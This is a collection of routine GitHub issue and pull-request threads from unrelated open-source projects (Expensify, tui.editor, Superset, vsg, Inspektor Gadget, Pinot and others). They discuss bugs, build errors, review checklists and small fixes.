[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR author checklist, including those that don't apply to this PR.

Screenshots/Videos

Web

https://github.com/Expensify/App/assets/54641656/f975e320-d73e-49ad-9fdc-4c9d3f57ab3b

Mobile Web - Chrome

https://github.com/Expensify/App/assets/54641656/f63bf016-6524-4e4d-beb3-d620b69ed7a0

Mobile Web - Safari

https://github.com/Expensify/App/assets/54641656/31d2a1c1-7a5a-453d-a207-2ea1b22c628d

Desktop

https://github.com/Expensify/App/assets/54641656/5d9fa50b-fd0b-4723-8dff-32f5254eb276

iOS

https://github.com/Expensify/App/assets/54641656/32b2d94e-b843-4fc1-9b1a-4c10fb343d1d

Android

https://github.com/Expensify/App/assets/54641656/b60a51ea-e2c6-48fa-808b-87a585b91b0a

@chiragxarora I can see I am assigned for the review, and all items in the checklist checked off, but I don't see any screenshots?

Already on it.

Reviewer Checklist

[x] I have verified the author checklist is complete (all boxes are checked off).
[x] I verified the correct issue is linked in the ### Fixed Issues section above
[x] I verified testing steps are clear and they cover the changes made in this PR

[x] I verified the steps for local testing are in the Tests section
[x] I verified the steps for Staging and/or Production testing are in the QA steps section
[x] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[x] I checked that screenshots or videos are included for tests on all platforms
[ ] I included screenshots or videos for tests on all platforms
[x] I verified tests pass on all platforms & I tested again on:

[ ] Android / native
[x] Android / Chrome
[ ] iOS / native
[x] iOS / Safari
[x] MacOS / Chrome / Safari
[x] MacOS / Desktop

[x] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[x] I verified proper code patterns were followed (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method
[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I verified that this PR follows the guidelines as stated in the Review Guidelines
[x] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG)

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots/Videos

Web
https://github.com/Expensify/App/assets/3069065/0c2b09ae-bab9-449a-b4dc-0253f210ae90

Mobile Web - Chrome
https://github.com/Expensify/App/assets/3069065/c63c2637-8429-4c1b-a67f-6f368b980b2d

Mobile Web - Safari
https://github.com/Expensify/App/assets/3069065/55a95492-a2cf-44b7-842e-888d25db0c57

Desktop
https://github.com/Expensify/App/assets/3069065/b6bb4471-12d9-4321-a4d4-6c63570392f3

iOS

Android

@grgia Android build is running. Will post the screenshots once done.

@grgia All set.
🎀 👀 🎀 C+ reviewed.

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by https://github.com/grgia in version: 1.3.56-0 🚀

platform
result

🤖 android 🤖
failure ❌

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/roryabraham in version: 1.3.56-24 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅


Trips up on sub JSON with query key

e.g.
const char json[] = R"({"parent":{"child":"div"},"child":"span"})";

jsonExtract(json,"child");     // should return "span", instead returns "div"

Thanks kmpatel for trying this lib and providing feedback!  Did you call  "jsonRemoveWhiteSpace()" first?
json = jsonRemoveWhiteSpace(json);

Oh.  No, I did not use jsonRemoveWhiteSpace.
I saw it, but assumed it was a optional feature, not a mandatory step to parsing.

If I recall, will return first match for dups.

If I recall, will return first match for dups.

I don't think you are paying attention to the example. I should have written "apparent duplicate" but, in the example, the call is to find the value of "child".  Instead, the fn returns the value of "parent.child", which is the wrong member.  It is a only a duplicate by appearance, when in fact it is a valid member of a sub-json "parent" that happens to appear before the target member "child".

Yes, I beleive you have identified a bug in the code.  The string searches are very rudimentary.  I'll look to see if there is an easy way to fix this, but you may want to swich to a more robust libary.


Uncaught TypeError: Cannot read property 'classList' of null

Describe the bug
A clear and concise description of what the bug is.
Uncaught TypeError: Cannot read property 'classList' of null
To Reproduce
Steps to reproduce the behavior:

I use only Native HTML, CSS, JAVASCRIPT

<!DOCTYPE html>

    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.48.4/codemirror.min.css" />
    <link rel="stylesheet" href="https://uicdn.toast.com/editor/latest/toastui-editor.min.css" />

Expected behavior
A clear and concise description of what you expected to happen.

"I cannot use editor with wrapping by <form> tag"

Screenshots
If applicable, add screenshots to help explain your problem.

Console

Uncaught TypeError: Cannot read property 'classList' of null
    at e.exports (toastui-jquery-editor.min.js:14)
    at r.i._updateClassByButton (toastui-jquery-editor.min.js:30)
    at r.i._activateTabByButton (toastui-jquery-editor.min.js:30)
    at r.i.activate (toastui-jquery-editor.min.js:30)
    at r.i._render (toastui-jquery-editor.min.js:30)
    at new r (toastui-jquery-editor.min.js:30)
    at r.i._initDOM (toastui-jquery-editor.min.js:30)
    at r [as constructor] (toastui-jquery-editor.min.js:30)
    at new r (toastui-jquery-editor.min.js:30)
    at e.t._initPopupAddImage (toastui-jquery-editor.min.js:30)

Device Information -> SKIP
Additional context
Add any other context about the problem here.

I want to use i18n with JQuery. But I got error When I add script line in document, ko-kr.js

This is beacuse a form can not can have another form as child.
https://github.com/nhn/tui.editor/blob/7c50de827c3644a5033ea1b8f60b3cc78529d33d/apps/editor/src/js/ui/popupAddImage.js#L87
fileTypeSection will be null if  used in form.
maybe change POP_CONTENT to not use form element can fix this.

@YBHwang First, the cause is what @NateScarlet said.
The editor uses a form tag to upload the image file, so if you wrap the editor wrapper element with a form tag in the way you use it, the structure is as follows:
<form>

    ...
    <form enctype="multipart/form-data" class="te-file-type">
      ...
    </form>
    ...

</form>

But the W3C spec says, you shouldn't use form tags overlapping. The editor should not remove a form tag used internally, so you should not wrap it around with a form tag.

Every form must be enclosed within a FORM element. There can be several forms in a single document, but the FORM element can't be nested.

Is there any reason you should write like this?

@YBHwang And I have confirmed an error when using language files in the CDN of the jQuery wrapper. I will register and handle this issue separately.

Is there any reason you should write like this?

I think submit markdown data with form is a common usecase.

@YBHwang First, the cause is what @NateScarlet said.
The editor uses a form tag to upload the image file, so if you wrap the editor wrapper element with a form tag in the way you use it, the structure is as follows:
<form>

    ...
    <form enctype="multipart/form-data" class="te-file-type">
      ...
    </form>
    ...

</form>

But the W3C spec says, you shouldn't use form tags overlapping. The editor should not remove a form tag used internally, so you should not wrap it around with a form tag.

Every form must be enclosed within a FORM element. There can be several forms in a single document, but the FORM element can't be nested.

Is there any reason you should write like this?

That's because editor.getHtml(); or editor.getMarkdown(); is not working at JQuery Edition

@YBHwang Have you ever used editor.getHtml() like this? If you use jQuery wrapper you shouldn't use it like that. Would you like to call the function as below?
const $editor = $('#editor');

// create instance
$editor.toastuiEditor({
  // ...
});

// call instance methods
const markdown = $editor.toastuiEditor('getMarkdown');
const html = $editor.toastuiEditor('getHtml');

console.log(markdown);
console.log(html);

Hi, I have the same issue when I put the editor inside a modal with a form. But I do not use the jquery wrapper version. And I'm even not interested to use the image tool, but it seems we cannot deactivate it.
How can we handle this problem ?

@YBAZAN As I replied here, wrapping up the form causes such an issue. How about getting the editor value using editor.getHtml(), editor.getMarkdown() API and then sending the form data?

@YBAZAN As I replied here, wrapping up the form causes such an issue. How about getting the editor's value using editor.getHtml(), editor.getMarkdown() API and then sending the form data?

Thanks for your answer. I would like to add 2 points:

In my app, the editor is a field inside a form (in a modal in most of cases) containing others inputs. I cannot extract it outside the form. It would break the layout.
There is no issue with the 1.4.10 version. Is it a design change in v2 or was this problem present in previous versions but not visible?

I am embedding the editor in wicket forms, which worked well with v1.4.10 and breaks in v2 due to the form tag. Moving the editor out of the forms is not easy (if possible at all) and makes the editor less versatile to use.
I wonder if it really must be a form in the image upload? (As a quick and dirty experiment I changed the form to a div and files are still inserted.)

@YBHwang @HisDudedness @NateScarlet
We checked the form tag(legacy code) in our editor and concluded that it doesn't matter if it is eliminated because internal form is not submitted and used anywhere. So, It will be replaced to div tag. I think the jquery prevented this error in v1.x, but the error occurred after removing jquery dependency in v2.x.
Thank you!

Great news! Thanks!

Thnx for fixing, looking forward for the release!
Because this error happened to me when using react wrapper <Editor inside <Formik

Thank you !
Do you havea release date for this fix ?

Because this error happened to me when using react wrapper <Editor inside <Formik

@mieszko4 - I am facing the same issue in react wrapper. Can you let me know how you resolved this issue?

@gowda-nirmal https://github.com/nhn/tui.editor/pull/890 is merged but looks like it is not released yet (https://github.com/nhn/tui.editor/releases)

@YBAZAN @gowda-nirmal @mieszko4 The npm release will be done later this month.

I face the same issue, too.
Maybe the component should use two DOM element to handle this thing.
one to create a inner form, the other to show the editor/viewer.

@seonim-ryu Any updates on when this release is for React?

@landall @Yash-GitB
The 2.1.0 version has been released and the wrappers have also been updated with the Editor.
So I'll close this issue. If you have any problems, please register a new issue. :)


Unable to start non-dev locally on main

Bug description
When starting locally with docker, the superset_init job fails because it cannot find the correct version of cryptography
How to reproduce the bug

Check out main/master
Run docker compose -f docker-compose-non-dev.yml up
Note superset_init fails with exit code 1

Also tried this with TAG=3.1.1 with the same results
Screenshots/recordings
2024-03-05 14:32:48 ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
2024-03-05 14:32:48 apache-superset 3.1.0 requires cryptography<41.1.0,>=41.0.2, but you have cryptography 42.0.5 which is incompatible.
2024-03-05 14:32:48 WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
2024-03-05 14:32:48
2024-03-05 14:32:48 [notice] A new release of pip is available: 23.0.1 -> 24.0
2024-03-05 14:32:48 [notice] To update, run: pip install --upgrade pip
2024-03-05 14:32:51 Traceback (most recent call last):
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 568, in _build_master
2024-03-05 14:32:51     ws.require(__requires__)
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 886, in require
2024-03-05 14:32:51     needed = self.resolve(parse_requirements(requirements))
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 777, in resolve
2024-03-05 14:32:51     raise VersionConflict(dist, req).with_context(dependent_req)
2024-03-05 14:32:51 pkg_resources.ContextualVersionConflict: (cryptography 42.0.5 (/usr/local/lib/python3.9/site-packages), Requirement.parse('cryptography<41.1.0,>=41.0.2'), {'apache-superset'})
2024-03-05 14:32:51
2024-03-05 14:32:51 During handling of the above exception, another exception occurred:
2024-03-05 14:32:51
2024-03-05 14:32:51 Traceback (most recent call last):
2024-03-05 14:32:51   File "/usr/local/bin/superset", line 33, in <module>
2024-03-05 14:32:51     sys.exit(load_entry_point('apache-superset', 'console_scripts', 'superset')())
2024-03-05 14:32:51   File "/usr/local/bin/superset", line 25, in importlib_load_entry_point
2024-03-05 14:32:51     return next(matches).load()
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/importlib/metadata.py", line 86, in load
2024-03-05 14:32:51     module = import_module(match.group('module'))
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/importlib/__init__.py", line 127, in import_module
2024-03-05 14:32:51     return _bootstrap._gcd_import(name[level:], package, level)
2024-03-05 14:32:51   File "<frozen importlib._bootstrap>", line 1030, in _gcd_import
2024-03-05 14:32:51   File "<frozen importlib._bootstrap>", line 1007, in _find_and_load
2024-03-05 14:32:51   File "<frozen importlib._bootstrap>", line 986, in _find_and_load_unlocked
2024-03-05 14:32:51   File "<frozen importlib._bootstrap>", line 680, in _load_unlocked
2024-03-05 14:32:51   File "<frozen importlib._bootstrap_external>", line 850, in exec_module
2024-03-05 14:32:51   File "<frozen importlib._bootstrap>", line 228, in _call_with_frames_removed
2024-03-05 14:32:51   File "/app/superset/cli/main.py", line 28, in <module>
2024-03-05 14:32:51     from superset.cli.lib import normalize_token
2024-03-05 14:32:51   File "/app/superset/cli/lib.py", line 20, in <module>
2024-03-05 14:32:51     from superset import config
2024-03-05 14:32:51   File "/app/superset/config.py", line 39, in <module>
2024-03-05 14:32:51     import pkg_resources
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 3243, in <module>
2024-03-05 14:32:51     def _initialize_master_working_set():
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 3226, in _call_aside
2024-03-05 14:32:51     f(*args, **kwargs)
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 3255, in _initialize_master_working_set
2024-03-05 14:32:51     working_set = WorkingSet._build_master()
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 570, in _build_master
2024-03-05 14:32:51     return cls._build_from_requirements(__requires__)
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 583, in _build_from_requirements
2024-03-05 14:32:51     dists = ws.resolve(reqs, Environment())
2024-03-05 14:32:51   File "/usr/local/lib/python3.9/site-packages/pkg_resources/__init__.py", line 772, in resolve
2024-03-05 14:32:51     raise DistributionNotFound(req, requirers)
2024-03-05 14:32:51 pkg_resources.DistributionNotFound: The 'cryptography<41.1.0,>=41.0.2' distribution was not found and is required by apache-superset

Superset version
master / latest-dev
Python version
3.9
Node version
16
Browser
Chrome
Additional context
No response
Checklist

[X] I have searched Superset docs and Slack and didn't find a solution to my problem.
[X] I have searched the GitHub issue tracker and didn't find a similar bug report.
[X] I have checked Superset's logs for errors and if I found a relevant Python stacktrace, I included it here as text in the "additional context" section.

@sadpandajoe @dpgaspar maybe this is fallout from the recent cryptography PRs?

upgraded pip???

Pretty sure it's wrong version of pip. Closing out but will reopen if that doesn't work


Fix build error on macOS in Viewer::pollEvents() calling apply methods

Compiling on macOS v10.13.6, using clang version Apple LLVM version 10.0.0 (clang-1<IP_ADDRESS>)
There is a compiler error in all apply()-methods in Viewer::pollEvents() dealing with enum classes:
In file included from /Users/oleg/dev/osg-vulkan/vsg/src/src/vsg/viewer/Viewer.cpp:13:
In file included from /Users/oleg/dev/osg-vulkan/vsg/src/include/vsg/viewer/Viewer.h:15:
In file included from /Users/oleg/dev/osg-vulkan/vsg/src/include/vsg/viewer/Window.h:17:
In file included from /Users/oleg/dev/osg-vulkan/vsg/src/include/vsg/ui/UIEvent.h:15:
In file included from /Users/oleg/dev/osg-vulkan/vsg/src/include/vsg/core/Inherit.h:15:
In file included from /Users/oleg/dev/osg-vulkan/vsg/src/include/vsg/core/Allocator.h:20:
In file included from /Users/oleg/dev/osg-vulkan/vsg/src/include/vsg/io/stream.h:20:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/istream:163:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:208:20: note: candidate function
    basic_ostream& operator<<(unsigned short __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:209:20: note: candidate function
    basic_ostream& operator<<(int __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:206:20: note: candidate function
    basic_ostream& operator<<(bool __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:207:20: note: candidate function
    basic_ostream& operator<<(short __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:210:20: note: candidate function
    basic_ostream& operator<<(unsigned int __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:211:20: note: candidate function
    basic_ostream& operator<<(long __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:212:20: note: candidate function
    basic_ostream& operator<<(unsigned long __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:213:20: note: candidate function
    basic_ostream& operator<<(long long __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:214:20: note: candidate function
    basic_ostream& operator<<(unsigned long long __n);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:215:20: note: candidate function
    basic_ostream& operator<<(float __f);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:216:20: note: candidate function
    basic_ostream& operator<<(double __f);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:217:20: note: candidate function
    basic_ostream& operator<<(long double __f);
                   ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:788:1: note: candidate function [with _Traits = std::__1::char_traits<char>]
operator<<(basic_ostream<char, _Traits>& __os, char __c)
^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:755:1: note: candidate function [with _CharT = char, _Traits = std::__1::char_traits<char>]
operator<<(basic_ostream<_CharT, _Traits>& __os, char __cn)
^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:795:1: note: candidate function [with _Traits = std::__1::char_traits<char>]
operator<<(basic_ostream<char, _Traits>& __os, signed char __c)
^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ostream:802:1: note: candidate function [with _Traits = std::__1::char_traits<char>]
operator<<(basic_ostream<char, _Traits>& __os, unsigned char __c)

Possible solutions:

This proposed change. However, I'm not sure about header file where to define the operator<<. in UIEvent.h or new header file?
Defining same method for KeySymbol in KeyEvent.h and ButtonMask in PointerEvent.h, e.g.

std::ostream& operator<<(std::ostream& os, const ButtonMask& obj)
{
    os << static_cast<std::underlying_type<ButtonMask>::type>(obj);
    return os;
}

Calling static_cast in corresponding apply() methods

Pull Request Template
Description
Please include a summary of the change and which issue is fixed. Please also include relevant motivation and context. List any dependencies that are required for this change.
Fixes # (issue)
Type of change
Please delete options that are not relevant.

[x] Bug fix (non-breaking change which fixes an issue)

How Has This Been Tested?
Executed sample programs on macOS
Checklist:

[x] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[ ] Any dependent changes have been merged and published in downstream modules

Tomorrow I will do a clang build under Linux to see if I can recreate the compile error.
So far I have been putting in the << and >> operator implementations into include/vsg/io/stream.h.
FYI, The actual usage in Viewer::pollEvents() is currently for development/debugging purposes and will disappear once the platform specific Window implementations are complete.

I tried clang under Linux and it failed as well.  I have merged you change as it, but then moved the enum << operator into include/vsg/io/steam.h to make it available for a wider range of uses.


local-gadget: Add signal trace gadget

This is a fix for https://github.com/inspektor-gadget/inspektor-gadget/issues/892 .
local-gadget doesn't support tracing signal, like kubectl-gadget do. Use the common functionality available to add the same support to local-gadget.
Testing Done

Ran local-gadget integration test on minikube cluster
Build and run local-gadget

sudo ./local-gadget trace signal
CONTAINER                                          PID        COMM             SIGNAL      TPID       RET
minikube-docker                                    47618      cri-dockerd      SIGURG      51004      0
minikube-docker                                    47618      cri-dockerd      SIGURG      3073       0
minikube-docker                                    49410      kubelet          SIGURG      85749      0
...

Thanks! Could you also add the signal gadget in the list:
--- a/pkg/gadget-collection/gadget-collection.go
+++ b/pkg/gadget-collection/gadget-collection.go
@@ -81,6 +81,7 @@ func TraceFactoriesForLocalGadget() map[string]gadgets.TraceFactory {
                "process-collector": processcollector.NewFactory(),
                "socket-collector":  socketcollector.NewFactory(),
                "seccomp":           seccomp.NewFactory(),
+               "sigsnoop":          sigsnoop.NewFactory(),
                "snisnoop":          snisnoop.NewFactory(),
        }
 }

Thanks! Could you also add the signal gadget in the list:
--- a/pkg/gadget-collection/gadget-collection.go
+++ b/pkg/gadget-collection/gadget-collection.go
@@ -81,6 +81,7 @@ func TraceFactoriesForLocalGadget() map[string]gadgets.TraceFactory {
                "process-collector": processcollector.NewFactory(),
                "socket-collector":  socketcollector.NewFactory(),
                "seccomp":           seccomp.NewFactory(),
+               "sigsnoop":          sigsnoop.NewFactory(),
                "snisnoop":          snisnoop.NewFactory(),
        }
 }

Done!

LGTM! Thanks for your contribution!
Could you please squash the commits before merging?

Can you please approve running the workflow again? I force pushed the squashed commit. Thanks!


Error: Component MAIN_LANG_ONLY not found in target

On online repo creation I get the following error, if I click on 'Clone Online Repo':

I try to initially setup abapGit with the online repo.

probably a regression after https://github.com/abapGit/abapGit/pull/4432

probably a regression after https://github.com/abapGit/abapGit/pull/4432

reproduced,

reproduced,

@mariusraht2 try again, latest version

@mariusraht2 try again, latest version

@larshp Thanks - works again :)

@larshp Thanks - works again :)


Refactor Sequence Protocol

@Snowapril would you review this pr?

I also agree to put all sequence methods into function as static local. It'll reduce inessential memory residency. It seems good to me.


rebate management method "Rate"

[Feedback:  I propose to alter the following for the rebate management method documentation. The "rate" rebate management method seems to work per article in an order:
old:

Rebate management method
This field is available only for deals where the Rebate output field on the header is set to Financial. Select the method to use to calculate the rebate:Fixed – A fixed price amount is used for the line.Percent – A percentage of the sale amount is used.Rate – A fixed price amount per order is used.

]
new:

Rebate management method
This field is available only for deals where the Rebate output field on the header is set to Financial. Select the method to use to calculate the rebate:Fixed – A fixed price amount is used for the line.Percent – A percentage of the sale amount is used.Rate – A fixed price amount per order item is used.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: d1646986-d690-52b3-d567-e962a2715d7b
Version Independent ID: ab20269c-b0b3-6d4c-5afc-afd9b24a8e14
Content: Rebate management deals - Supply Chain Management | Dynamics 365
Content Source: articles/supply-chain/rebate-management/rebate-management-deals.md
Service: dynamics-365-supply-chain
Product: ****
Technology: ****
GitHub Login: @sherry-zheng
Microsoft Alias: chuzheng

@akaradagi, thank you for providing this feedback.
@sherry-zheng, please review this feedback and update the content as needed.

Closing as won't fix.


tests: Fix enabling features

multiviewMeshShader and primitiveFragmentShadingRateMeshShader must not be enabled, because the features they depend on aren't enabled either.

CI Vulkan-ExtensionLayer build queued with queue ID 151860.

CI Vulkan-ExtensionLayer build # 869 running.

CI Vulkan-ExtensionLayer build # 869 passed.

CI Vulkan-ExtensionLayer build queued with queue ID 151871.

CI Vulkan-ExtensionLayer build # 870 running.

CI Vulkan-ExtensionLayer build queued with queue ID 151880.

CI Vulkan-ExtensionLayer build # 871 running.

CI Vulkan-ExtensionLayer build # 871 passed.


Add Aliasing to SearchIndexClient and SearchIndexAsyncClient

Description
This PR adds SearchAlias support to SearchIndexClient and SearchIndexAsyncClient
All SDK Contribution checklist:

[x] The pull request does not introduce [breaking changes]
[x] CHANGELOG is updated for new features, bug fixes or other significant changes.
[x] I have read the contribution guidelines.

General Guidelines and Best Practices

[x] Title of the pull request is clear and informative.
[x] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For more information on cleaning up the commits in your PR, see this page.

Testing Guidelines

[x] Pull request includes test coverage for the included changes.

API changes have been detected in com.azure:azure-search-documents. You can review API changes here


OpenAPI based field defaulting

Is your feature request related to a problem? Please describe.
We currently have a mutating webhook in place to handle field defaulting.
This isn't 100% ideal, as the mutating webhook whilst it may seem like a suitable place for defaulting, is strictly an admission plugin.
This isn't too much of an issue until you begin to think about schema changes during upgrades - with OpenAPI based defaulting (and general defaulting within the Kubernetes apiserver for core types), defaults are applied on READS as well as writes.
With a mutating webhook, those defaults are only applied on WRITES, meaning that any data already persisted will not be transparently defaulted after an upgrade.
This means we need to either apply those defaults client-side, which is tricky because every consumer of the cert-manager API would need to understand/program defensively around empty values.
Describe the solution you'd like
A lot of the default values that we set can be encoded into OpenAPI (i.e. they aren't so complex that we require a full turing complete webhook).
We should try and move as much defaulting as possible into OpenAPI (using the // +kubebuilder:default annotation on our field types).
Any other values that cannot be defaulting here, will instead be mutated in the webhook. We'll then have to remember to program defensively around these fields having empty values if they are introduced or their default values changed in some way.
/kind feature
/area api

/remove-lifecycle stale
Just came across this, will be taking it into my OpenAPI work I am currently doing

Setting these is forbidden in apiextensions.k8s.io/v1beta1.
apiextensions.k8s.io/v1 is introduced in 1.16, currently cert-manager sees 1.14 and below as "legacy".
Should we want to support apiextensions.k8s.io/v1 we have to make the legacy version 1.15 and below which will bring on a change of releases for people using 1.15 and also loose v1alpha3.
This is a discussion to be had in another ticket but it is currently blocking this one.


Move tf-r1 autostart number

Describe problem solved by this pull request
Having a duplicate autostart number was breaking the rcS. This resulted in loading the wrong mixer files, which were defined in 1061_tf-r1.
This seems to be the fix for https://github.com/PX4/Firmware/pull/15209
Describe your solution
This commit moves the tf-r1 model to 1062
@bperseghetti FYI

Included in https://github.com/PX4/Firmware/pull/15209


Cannot Apply JSON Index on STRING Column

Applied JSON index on a tags column with the following config (0.9.0):
"jsonIndexColumns": [
  "tags"
],

Ran the query:
select span_id from spanEventView where JSON_MATCH(tags, '"$.http.status"=''200''')
This throws:
[
  {
    "errorCode": 200,
    "message": "QueryExecutionError:\njava.lang.IllegalStateException: Cannot apply JSON_MATCH on column: tags without json index\n\tat shaded.com.google.common.base.Preconditions.checkState(Preconditions.java:518)\n\tat org.apache.pinot.core.plan.FilterPlanNode.constructPhysicalOperator(FilterPlanNode.java:225)\n\tat org.apache.pinot.core.plan.FilterPlanNode.run(FilterPlanNode.java:87)\n\tat org.apache.pinot.core.plan.DocIdSetPlanNode.run(DocIdSetPlanNode.java:49)"
  }
]

